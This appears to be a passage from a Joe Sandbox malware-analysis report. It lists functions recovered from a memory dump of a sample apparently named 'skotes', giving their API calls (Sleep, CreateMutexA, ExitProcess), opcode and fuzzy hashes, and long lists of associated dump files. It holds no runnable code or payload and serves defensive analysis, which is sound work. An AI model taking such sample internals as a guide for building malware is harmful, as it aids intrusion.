Function 0092652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0092652A,?,?,?,?,?,00927661), ref: 00926566

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0f98d9b570c49330dab43c4814c5dfa9c189749e3115b8266e90417ea995c33d
Instruction ID: cdb8cc38d7dde68f7d73b2cee90bd21da2cc92120d0efef649e17a9d9907ce15
Opcode Fuzzy Hash: 0f98d9b570c49330dab43c4814c5dfa9c189749e3115b8266e90417ea995c33d
Instruction Fuzzy Hash: B0E0C230142918AFCF25BB18E81DE8C3B6DFF61741F005814FD094AA3ACB35ED82CA80

Function 008F9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 748a47aa0236a01ddbc1cac120e851f45cebf8caf40f26d8298c4059728ebcc2
Instruction ID: 4856c2881a64fe9299c5a2e2452616637f0f649b17a13511f205f12628caeacb
Opcode Fuzzy Hash: 748a47aa0236a01ddbc1cac120e851f45cebf8caf40f26d8298c4059728ebcc2
Instruction Fuzzy Hash: F7311871B052088BEB08EB78EC897BDBB62FBD5320F348218E1A8D77D5D7B549808751

Function 008F9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 912fe19d7318a02cf61b7153e2543419285e493c70f64be8b739b8a7be9867e8
Instruction ID: 94a45e14eaab4d6a6cd742adfdfd79693aa8122236f78def087819e1b151ed3f
Opcode Fuzzy Hash: 912fe19d7318a02cf61b7153e2543419285e493c70f64be8b739b8a7be9867e8
Instruction Fuzzy Hash: 1C312A717042088BEB1CAB78EC897BDFB62FBC5320F208619E168D76D5DB7549808761

Function 008FA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 70826daa9d46a33bd73e858a83f5bbd20abd78b9da8b6ece8c6fcb3e59d47a76
Instruction ID: 2623a437061c2b6a155332cb27a0f91e0541e4d45c1fed64285d45d71e9d8cca
Opcode Fuzzy Hash: 70826daa9d46a33bd73e858a83f5bbd20abd78b9da8b6ece8c6fcb3e59d47a76
Instruction Fuzzy Hash: 7F3129B17142089BEB0C9B78EC897BDBB72EBC5320F208218E128D77D5D77659808752

Function 008FA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
